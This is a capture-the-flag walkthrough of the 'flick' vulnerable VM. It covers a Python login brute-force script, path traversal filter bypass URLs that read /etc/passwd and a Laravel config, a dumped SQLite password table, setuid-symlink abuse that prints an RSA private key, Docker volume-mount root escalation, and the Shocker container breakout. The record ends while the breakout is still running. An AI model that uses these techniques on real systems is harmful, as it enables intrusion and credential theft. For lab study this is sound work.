It took 16 decodings to produce a non Base64 string that might work as password for the admin server. The end result is tabupJievas8Knoj

1
2
3
4
5
6
7
8
root@kali:~# nc 192.168.80.129 8881
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> tabupJievas8Knoj
OK: tabupJievas8Knoj

Accepted! The door should be open now :poolparty:

> 

I tried poolparty as the SSH password but of course it wouldn’t be that easy! We started with only 2 open ports, so there isn’t much room for progression on that front, but what door is open now? I started another Nmap scan, and there is indeed something that wasn’t here before:

1
2
3
4
...
80/tcp   open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Flick-a-Photo
...

flick cats

It’s an image gallery of cats. After you feasted your eyes on all of them, check the login page:

login

Right, I don’t see any credentials lying around in the source. I tried modifying the URL from http://192.168.80.129/login/login, and there is a directory index coming up, but it’s fake:

index

You get the same page no matter what you add in the URL or click on the supposed directories. I tried SQL injection next. If you insert a single quote, you get this message:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND user.password=' at line 1

But this message remains unchanged no matter the variation of the injections, and there is no reaction if you try double quotes or backslashes. I tested it with Sqlmap and it reported that none of the parameters are dynamic nor injectable, so it seems like another fake lead.

Right, so it’s time to focus on the hint. I tried logging in with demo:demo, but it didn’t work. Because the hint specified a demo user, it’s safe to assume the username will be demo. And with no other hint, and lengthy bruteforcing not being a desired goal of the exercise, we can assume that the password is also some variation that includes the word demo. Most likely an addition of a few digits. Whenever I think the password would be weak and obvious, or I am clueless and hope for the best, I try the obvious word by itself, or followed by 123 or 1234. I never really expect it to work, but..it did! The password is actually demo123. However, for the sake of exercise, let’s assume we didn’t imagine any possible password and we need to do it conventionally..by building a wordlist and bruteforcing the login page.

So, the first step is to build a wordlist. If we think about it, the password will most likely contain the word demo, so its minimum length would be 5 (already tried demo), and its maximum would be 8, to accommodate some trailing digits / letters, or a repetition of the word itself. I will give 2 examples of creating a wordlist, but will use a much reduced list for the actual bruteforcing part.

In the first example, I used crunch to generate a wordlist. To keep up with the constraints, it should be composed of 5-8 characters, with the string “demo” occurring at the beginning or the end. I assummed the letters would be lowercase only.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
crunch 7 7 -t demo%%% -o /root/Desktop/wordlist.txt
Crunch will now generate the following amount of data: 8000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000 

crunch: 100% completed generating output
...
crunch 7 7 -t demo@@@ -o /root/Desktop/wordlist2.txt
Crunch will now generate the following amount of data: 140608 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 17576 

crunch: 100% completed generating output

In this example, I specified the min and max length as 7 (since I couldn’t figure out from my speedy reading how to make crunch to build variable length words from the pattern, to build a full wordlist I would repeat it for every length and pattern that must be met and merge the results). The -o parameter is for the output file, and the -t parameter is for the pattern, followed by wildcard symbols (% for numbers, @ for lowercase).

The second example will use our buddy, John the Ripper. Starting from a file called demo.txt, which only has the word demo in it, I let john build passwords originating from the word demo by using the jumbo rules from /etc/john/john.conf

1
2
john --rules=jumbo --wordlist=demo.txt --stdout >> wordlist.txt
words: 5116  time: 0:00:00:00 DONE (Wed Feb 11 14:44:42 2015)  w/s: 102320  current: DEMO

This wordlist also contains uppercase variations. Here’s a breakdown of the command:

  • —rules=jumbo Enables wordlist rules, that are read from [List.Rules:Wordlist] in /etc/john/john.conf (or the alternative configuration file you might specify on the command line). This option requires the -wordlist option to be passed as well.

And the jumbo rules from john’s configuration file:

1
2
3
4
5
6
# For Wordlist mode and very fast hashes
[List.Rules:Jumbo]
.include [List.Rules:Wordlist]
.include [List.Rules:Single]
.include [List.Rules:Extra]
.include [List.Rules:NT]

So this actually includes 4 other rules.

  • —wordlist=demo.txt These are used to enable the wordlist mode, reading words from FILE.

  • —stdout >> wordlist.txt When used with a cracking mode, except for “single crack”, makes John print the words it generates to stdout instead of cracking.

Since we aren’t cracking anything, we redirect the passwords to a file.

Next, for the bruteforcing part, I will use just a few samples to illustrate the exercise.

1
2
3
4
root@kali:~/Desktop# cat wordlist.txt
demodemo
demo007
demo123

I wrote a Python script to attempt the login:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import urllib, urllib2
import cookielib


wordlist = '/root/Desktop/wordlist.txt'
passwords = []
with open(wordlist, 'r') as f:
    for line in f.readlines():
        passwords.append(line.strip('\n'))

url = 'http://192.168.80.129/login/login'
fail = 'Your username/password combination was incorrect'

username = 'demo'
password = ''

jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
opener.addheaders.append(('Cookie', 'laravel_session=eyJpdiI6IkxSQlRpb1NyTDc1VDZNMG9jaGZiUDRNbmxXNlgxbUVFWllZXC9Jemp4a0RzPSIsInZhbHVlIjoiTUVkd1VXMkxLY2p1czJFc1B5aTA0eG9hb3A3Zmt2cHJlWlNSMEFkMW54cmJFNmk3VFluaE9qTlgydVlGVStGenI0RjdiR2JHc3h4Y1wvZFBkM3JTa1N3PT0iLCJtYWMiOiJiNzk4NGEwMzQzN2Y4YTM4OWVhOTZjODM2YzRiMjI5ODM2MTFlNGQxMzM3NjA4ZjQ5M2EyOTNmYTE5NGNiMDZmIn0%3D'))

for passwd in passwords:
    print 'Trying: ' + passwd
    payload = {'_token': 'p8xqSfrmqsYs7jvIpZbnoMG03FRxQYueO2LAcWAp',
               'username': 'demo',
               'password': passwd}
    data = urllib.urlencode(payload)
    req = opener.open(url, data)
    if fail not in req.read():
        print 'Success with password: ' + passwd
        break

And its output:

1
2
3
4
Trying: demodemo
Trying: demo007
Trying: demo123
Success with password: demo123

After all the work (or guessing) to log in, the only extra things we can do is upload photos or download photos from the gallery. First, I tried uploading a PHP file to see if I could get code execution, but it didn’t work. All I could see was a blank page.

Next thing I tried was LFI (local file inclusion). When downloading images, you can see the URL looks like this: http://192.168.80.129/image/download?filename=images/mPTRlZ8Bf3Wt. So I tried to read /etc/passwd in the most straightforward way: http://192.168.80.129/image/download?filename=../../../../etc/passwd. Upon doing this, I got the following message:

1
2
3
Oops! Looks like you requested a invalid file to download!

etc/passwd is not valid. 

So everything was removed from my attempt. It’s most likely there is a filter in place. Let’s see. When I tried http://192.168.80.129/image/download?filename=../../../.././etc/passwd, I got a slightly different error:

1
2
3
Oops! Looks like you requested a invalid file to download!

./etc/passwd is not valid. 

Ok, so to bypass the filter I used 192.168.80.129/image/download?filename=….//….//….//….//etc/passwd. This prompted me to download an image, and I wasted time trying to figure out why it wouldn’t work. Trying to view the image I got the error that it can’t be displayed because it contains errors. Finally it struck me to run strings on it and:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/Desktop# strings image.jpg 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
robin:x:1000:1000:robin,,,:/home/robin:/bin/bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false
dean:x:1001:1001:,,,:/home/dean:/bin/bash

Finally getting somewhere! To the bottom we can see potentially interesting users, robin and dean. But how to actually get in the box?

Well, the answer lies in combining the ability to read local files with some knowledge of the framework used behind the scenes. Remember the laravel_session cookie? Laravel is a “PHP Framework For Web Artisans”. The official documentation is a great place to get started. While looking around, I hit this database page, and read about a file that we might be interested in: config/database.php. This is the config file for the database, where you can specify the connections’ details. And it’s important for us, because it should contain usernames and passwords. Also, if you check the laravel configuration page, you will notice that the default installation directory is named app. To read the file we want, we would have to look for it under app/config/database.php. But before that, we have to know the root of the website. At this point I had to do some online reading, because I couldnt find the httpd.conf file, and some other files I’ve pulled from the server weren’t helpful. The one that contained the necessary information was /etc/apache2/sites-enabled/000-default. Since I have yet to seriously start playing with Apache, I’m not very knowledgeable about its workings, but this file is a symbolic link to /etc/apache2/sites-available/default. In the /sites-available/ folder there are configuration files for every site that you want to serve (in Apache, these are called virtual hosts). The default site is, uhm, just that, the default site of the Apache installation. And in the /sites-enabled/ directory there are symbolic links for every active site (that you’re actually serving). Hence the file that we’re requesting is a symbolic link to the default site that’s being served.

Back to the problem at hand, I downloaded the file as follows: 192.168.80.129/image/download?filename=….//….//….//….///etc/apache2/sites-enabled/000-default and ran strings on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@kali:~/Desktop# strings image.jpg 
<VirtualHost *:80>
  ServerAdmin webmaster@localhost
  DocumentRoot /var/www/flick_photos/public
  <Directory />
      Options FollowSymLinks
      AllowOverride None
  </Directory>
  <Directory /var/www/flick_photos/public>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride All
      Order allow,deny
      allow from all
  </Directory>
  ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
  <Directory "/usr/lib/cgi-bin">
      AllowOverride None
      Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
      Order allow,deny
      Allow from all
  </Directory>
  ErrorLog ${APACHE_LOG_DIR}/error.log
  # Possible values include: debug, info, notice, warn, error, crit,
  # alert, emerg.
  LogLevel warn
  CustomLog ${APACHE_LOG_DIR}/access.log combined
    Alias /doc/ "/usr/share/doc/"
    <Directory "/usr/share/doc/">
        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128
    </Directory>
</VirtualHost>

Great! With this knowledge, we have a way to search for the Laravel database file: http://192.168.80.129/image/download?filename=....//....//....//....//var/www/flick_photos/app/config/database.php. Again, to read it, I ran strings on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
root@kali:~/Desktop# strings image.jpg 
<?php
return array(
  |--------------------------------------------------------------------------
  | PDO Fetch Style
  |--------------------------------------------------------------------------
  | By default, database results will be returned as instances of the PHP
  | stdClass object; however, you may desire to retrieve records in an
  | array format for simplicity. Here you can tweak the fetch style.
  'fetch' => PDO::FETCH_CLASS,
  |--------------------------------------------------------------------------
  | Default Database Connection Name
  |--------------------------------------------------------------------------
  | Here you may specify which of the database connections below you wish
  | to use as your default connection for all database work. Of course
  | you may use many connections at once using the Database library.
  // Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
  // on to the new and improved MySQL database. So, I will just comment out this as it is
  // no longer in use
  //'default' => 'sqlite',
  'default' => 'mysql',
  |--------------------------------------------------------------------------
  | Database Connections
  |--------------------------------------------------------------------------
  | Here are each of the database connections setup for your application.
  | Of course, examples of configuring each database platform that is
  | supported by Laravel is shown below to make development simple.
  | All database work in Laravel is done through the PHP PDO facilities
  | so make sure you have the driver for your particular database of
  | choice installed on your machine before you begin development.
  'connections' => array(
      'sqlite' => array(
          'driver'   => 'sqlite',
          'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
          'prefix'   => '',
      ),
      'mysql' => array(
          'driver'    => 'mysql',
          'host'      => 'localhost',
          'database'  => 'flick',
          'username'  => 'flick',
          'password'  => 'resuddecNeydmar3',
          'charset'   => 'utf8',
          'collation' => 'utf8_unicode_ci',
          'prefix'    => '',
      ),
      'pgsql' => array(
          'driver'   => 'pgsql',
          'host'     => 'localhost',
          'database' => 'forge',
          'username' => 'forge',
          'password' => '',
          'charset'  => 'utf8',
          'prefix'   => '',
          'schema'   => 'public',
      ),
      'sqlsrv' => array(
          'driver'   => 'sqlsrv',
          'host'     => 'localhost',
          'database' => 'database',
          'username' => 'root',
          'password' => '',
          'prefix'   => '',
      ),
  |--------------------------------------------------------------------------
  | Migration Repository Table
  |--------------------------------------------------------------------------
  | This table keeps track of all the migrations that have already run for
  | your application. Using this information, we can determine which of
  | the migrations on disk haven't actually been run in the database.
  'migrations' => 'migrations',
  |--------------------------------------------------------------------------
  | Redis Databases
  |--------------------------------------------------------------------------
  | Redis is an open source, fast, and advanced key-value store that also
  | provides a richer set of commands than a typical key-value systems
  | such as APC or Memcached. Laravel makes it easy to dig right in.
  'redis' => array(
      'cluster' => false,
      'default' => array(
          'host'     => '127.0.0.1',
          'port'     => 6379,
          'database' => 0,
      ),

Unfortunately, there were no passwords here, but it seems we should investigate further:

1
'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!

So I went to download the sqlite file from http://192.168.80.129/image/download?filename=....//....//....//....//var/www/flick_photos/app/database/production.sqlite, and this one was the jackpot!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop# strings image.jpg 
** This file contains an SQLite 2.1 database **
 "^table
old_users
old_users
CREATE TABLE old_users (
  username text,
  password text
Ipaul
nejEvOibKugEdof0KebinAw6TogsacPayarkOctIasejbon7Ni7Grocmyalkukvi
  Jrobin
JoofimOwEakpalv4Jijyiat5GloonTojatticEirracksIg4yijovyirtAwUjad1
  Jjames
scujittyukIjwip0zicjoocAnIltAsh4Vuer4osDidsaiWipOkDunipownIrtOb5
Idean
FumKivcenfodErk0Chezauggyokyait5fojEpCayclEcyaj2heTwef0OlNiphAnA

Passwords for the users we discovered earlier in the /etc/passwd file! I tried SSH’ing, and robin’s password didn’t work, but dean’s did!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Feb 13 14:34:19 SAST 2015

  System load:  0.0               Processes:              82
  Usage of /:   36.1% of 6.99GB   Users logged in:        0
  Memory usage: 39%               IP address for eth0:    192.168.80.129
  Swap usage:   0%                IP address for docker0: 172.17.42.1

  Graph this data and manage this system at:
    https://landscape.canonical.com/

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Aug  2 14:42:15 2014 from 192.168.56.1
dean@flick:~$ ls
message.txt  read_docker

The message is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
dean@flick:~$ cat message.txt 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi Dean,

I will be away on leave for the next few weeks. I have asked the admin guys to
write a quick script that will allow you to read my .dockerfile for flick-
a-photo so that you can continue working in my absense.

The .dockerfile is in my home, so the path for the script will be something like
/home/robin/flick-dev/

Please call me if you have any troubles!

- --
Ciao
Robin
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJT32ZsAAoJENRCTh/agc2DTNIP/0+ut1jWzk7VgJlT6tsGB0Ah
yi24i2b+JAVtINzCNgJ+rXUStaAEudTvJDF28b/wZCaFVFoNJ8Q30J03FXo4SRnA
ZW6HZZIGEKdlD10CcXsQrLMRmWZlBDQnCm4+EMOvavS1uU9gVvcaYhnow6uwZlwR
enf71LvtS1h0+PrFgSIoItBI4/lx7BiYY9o3hJyaQWkmAZsZLWQpJtROe8wsxb1l
9o4jCJrADeJBsYM+xLExsXaEobHfKtRtsM+eipHXIWIH+l+xTi8Y1/XIlgEHCelU
jUg+Hswq6SEch+1T5B+9EPoeiLT8Oi2Rc9QePSZ3n0fe4f3WJ47lEYGLLEUrKNG/
AFLSPnxHTVpHNO72KJSae0cG+jpj1OKf3ErjdTk1PMJy75ntQCrgtnGnp9xvpk0b
0xg6cESLGNkrqDGopsN/mgi6+2WKtUuO5ycwVXFImY3XYl+QVZgd/Ntpu4ZjyZUT
lxqCAk/G1s43s+ySFKSoHZ8c/CuOKTsyn6uwI3NxBZPD04xfzoc0/R/UpIpUmneK
q9LddBQK4vxPab8i4GNDiMp+KXyfByO864PtKQnCRkGQewanxoN0lmjB/0eKhkmf
Yer1sBmumWjjxR8TBY3cVRMH93zpIIwqxRNOG6bnnSVzzza5DJuNssppCmXLOUL9
nZAuFXkGFu6cMMD4rDXQ
=2moZ
-----END PGP SIGNATURE-----

Before continuing, if you wonder what is docker?:

Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.

So, I used the script to read robin’s dockerfile, per the instructions:

1
2
3
4
5
dean@flick:~$ ./read_docker /home/robin/flick-dev/
# Flick-a-photo dev env
RUN apt-get update && apt-get install -y php5 libapache2-mod-php5 php5-mysql php5-cli && apt-get clean && rm -rf /var/lib/apt/lists/*

CMD ["/usr/sbin/apache2", "-D", "FOREGROUND"]

At this point, it wasn’t exactly clear to me how to continue, so I looked at the executable itself:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
dean@flick:~$ file read_docker
read_docker: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x5b429ab297ac0bd55150f9ef54738b366f643336, not stripped

dean@flick:~$ strings read_docker
/lib64/ld-linux-x86-64.so.2
sT63do
__gmon_start__
libc.so.6
sprintf
fopen
fgetc
memset
stdout
fputc
fclose
malloc
stderr
fwrite
fprintf
__libc_start_main
free
GLIBC_2.2.5
%z     
%r     
%j     
%b     
%Z     
%R     
%J     
%B     
%:     
fff.
l$ L
t$(L
|$0H
/Dockerfile
ERROR: A path is required!
Usage is: %s /path/to/dockerfile
%s%s
ERROR: the specified docker file doesn't exist: %s
;*3$"

Well, this is a SUID binary, and the owner is robin, so we should be able to read files that robin has permissions to read..or so I thought:

1
2
3
dean@flick:~$ ./read_docker /home/robin/.bash_history
ERROR: the specified docker file doesn't exist: /home/robin/.bash_history/Dockerfile
Usage is: ./read_docker /path/to/dockerfile

So it appears to append a Dockerfile to the path that you enter. Judging from this, it won’t be able to read the contents if there is no Dockerfile present. But what if we create a Dockerfile in dean’s home directory and link it to stuff that robin should have access to? I still couldn’t read the .bash_history file, so there probably isn’t one, but..

1
2
3
4
5
6
7
8
9
10
11
12
13
ean@flick:~$ ln -s /home/robin/.bashrc Dockerfile
dean@flick:~$ ls -la
total 44
drwxr-xr-x 3 dean  dean  4096 Feb 23 13:54 .
drwxr-xr-x 4 root  root  4096 Aug  2  2014 ..
-rw------- 1 dean  dean   143 Feb 13 15:46 .bash_history
-rw-r--r-- 1 dean  dean   220 Aug  2  2014 .bash_logout
-rw-r--r-- 1 dean  dean  3486 Aug  2  2014 .bashrc
drwx------ 2 dean  dean  4096 Aug  2  2014 .cache
lrwxrwxrwx 1 dean  dean    19 Feb 23 13:54 Dockerfile -> /home/robin/.bashrc
-rw-r--r-- 1 root  root  1250 Aug  4  2014 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2  2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4  2014 read_docker

If you look at the link you created, it says it’s a broken symbolic link:

1
2
dean@flick:~$ file Dockerfile 
Dockerfile: broken symbolic link to `/home/robin/.bashrc'

However, that doesn’t seem to stop the read_docker binary from doing its thing!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dean@flick:~$ ./read_docker /home/dean
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000
...

So,we were able to read robin’s .bashrc file. That doesn’t help us much, but now we know that we can use this to our advantage, if the file that we want to read exists. Let’s see if we can’t get robin’s SSH private key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
dean@flick:~$ ln -s /home/robin/.ssh/id_rsa Dockerfile
dean@flick:~$ ls -la Dockerfile 
lrwxrwxrwx 1 dean dean 23 Feb 23 14:06 Dockerfile -> /home/robin/.ssh/id_rsa

dean@flick:~$ ./read_docker /home/dean
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw
ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi
FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6
S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk
CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9
d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m
jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ
wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2
tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4
Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ
wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0
mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ
l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI
JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ
gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn
JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq
rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr
PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb
zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh
AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis
EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj
mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf
JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1
Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK
VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn
-----END RSA PRIVATE KEY-----

Woohoo! It worked! With this we can SSH as robin. I copied the key contents to my machine (don’t forget to chmod 600, or you will get an Unprotected Private Key File eror), and logged in as robin.

After a bit of enumeration, I didn’t find anything extremely interesting. User robin is able to sudo the following:

1
2
3
4
5
6
robin@flick:/opt/start_apache$ sudo -l
Matching Defaults entries for robin on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on this host:
    (root) NOPASSWD: /opt/start_apache/restart.sh

I couldn’t read the files in that directory (there is an additional file called start.py), because I got a permission denied error. With nothing else to follow, perhaps there is more to be gained from the Docker program. The official documentation for Docker commands came in handy.

First, I listed all the available containers, and found something:

1
2
3
robin@flick:/opt/start_apache$ docker ps -a
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                    PORTS               NAMES
b0f71c63a88c        ubuntu:14.04        /bin/bash           7 months ago        Exited (0) 7 months ago                       sharp_shockley  

It’s possible to set up a console session with the container (check the help for the run command to see all the kinds of things you can do with it):

1
2
3
robin@flick:/opt/start_apache$ docker run -i -t ubuntu
root@4dfeb7b4ed8c:/# whoami
root

Breaking up the command:

  • Usage: docker run [OPTIONS] IMAGE [COMMAND] [ARG…]

Run a command in a new container

  • -i, —interactive=false: Keep stdin open even if not attached

  • -t, —tty=false: Allocate a pseudo-tty

But even if we can run as root inside the container, it doesn’t solve the problem of getting root outside it. However, I looked more closely at the options for run and I noticed this:

1
-v, --volume=[]: Bind mount a volume (e.g. from the host: -v /host:/container, from docker: -v /container)

Reading the documentation, it seems it’s possible to mount a volume from the host?! Let’s see:

1
2
3
docker run -i -t -v /root/:/root/ ubuntu
root@4340d77a56d3:/# ls /root/
53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc  flag.txt

Success! If you can’t get root on the box, bring the box to where you are root! :D

The obvious flag is just a decoy:

1
2
root@4340d77a56d3:/# cat /root/flag.txt
Errr, you are close, but this is not the flag you are looking for.

Of course, the real flag is cleverly hidden inside the directory with a name that screams for attention:

1
2
3
4
5
6
7
8
9
root@4340d77a56d3:/# ls /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
real_flag.txt
root@4340d77a56d3:/# cat /root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/real_flag.txt 
Congrats!

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)

ciao for now!
@leonjza

Bonus – get root command execution on host

Ok, after an overly lengthy break, I returned to the bonus part of the challenge. I will use an alternate way for this instead of proceeding from where I left off.

Remember the files in /opt/ that I couldn’t read? Naturally, I was curious about them, and they provide an alternate path to exploitation. And the fact that the Docker version on the box is out of date.. :D

During my initial enumeration, I didn’t pay much attention to the fact that Docker is outdated, as can be seen from the following:

1
2
3
4
5
6
7
8
9
10
robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.5.0, please update docker

So..maybe there is some nice exploit that can assist us? It turns there is! And it’s called Shocker

A good description of this container-breakout exploit, along with code, can be found here. I will quote the gist of it:

Demonstrates that any given docker image someone is asking you to run in your docker setup can access ANY file on your host, e.g. dumping hosts /etc/shadow or other sensitive info, compromising security of the host and any other docker VM’s on it.

I could of course read /etc/shadow or the flags, but I’m interested in the /opt/start_apache/ files. To read them, you have to modify the code here:

1
2
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
  die("[-] Cannot find valid handle!");

Just insert the path to the file you want to read instead of etc/shadow. So we want /opt/start_apache/restart.sh and /opt/start_apache/start.py. To run the PoC exploit, use the command docker run gabrtv/shocker. To modify source and rebuild, use docker build -t gabrtv/shocker .. I got an error saying that no Dockerfile was found in the current directory, so I just pulled the one from Github and it worked. To compile the exploit (on the Flick box), use the command found in the Dockerfile on Github:

1
cc -Wall -std=c99 -O2 shocker.c -static -Wno-unused-result -o shocker

After rebuilding, I ran the exploit and:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
robin@flick:~$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>
[*] Resolving 'opt/start_apache/restart.sh'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[*] Found lost+found
[*] Found media
[*] Found selinux
[*] Found boot
[*] Found srv
[*] Found lib
[*] Found dev
[*] Found proc
[*] Found bin
[*] Found lib64
[*] Found etc
[*] Found ..
[*] Found var
[*] Found sbin
[*] Found sys
[*] Found opt
[+] Match: opt ino=246
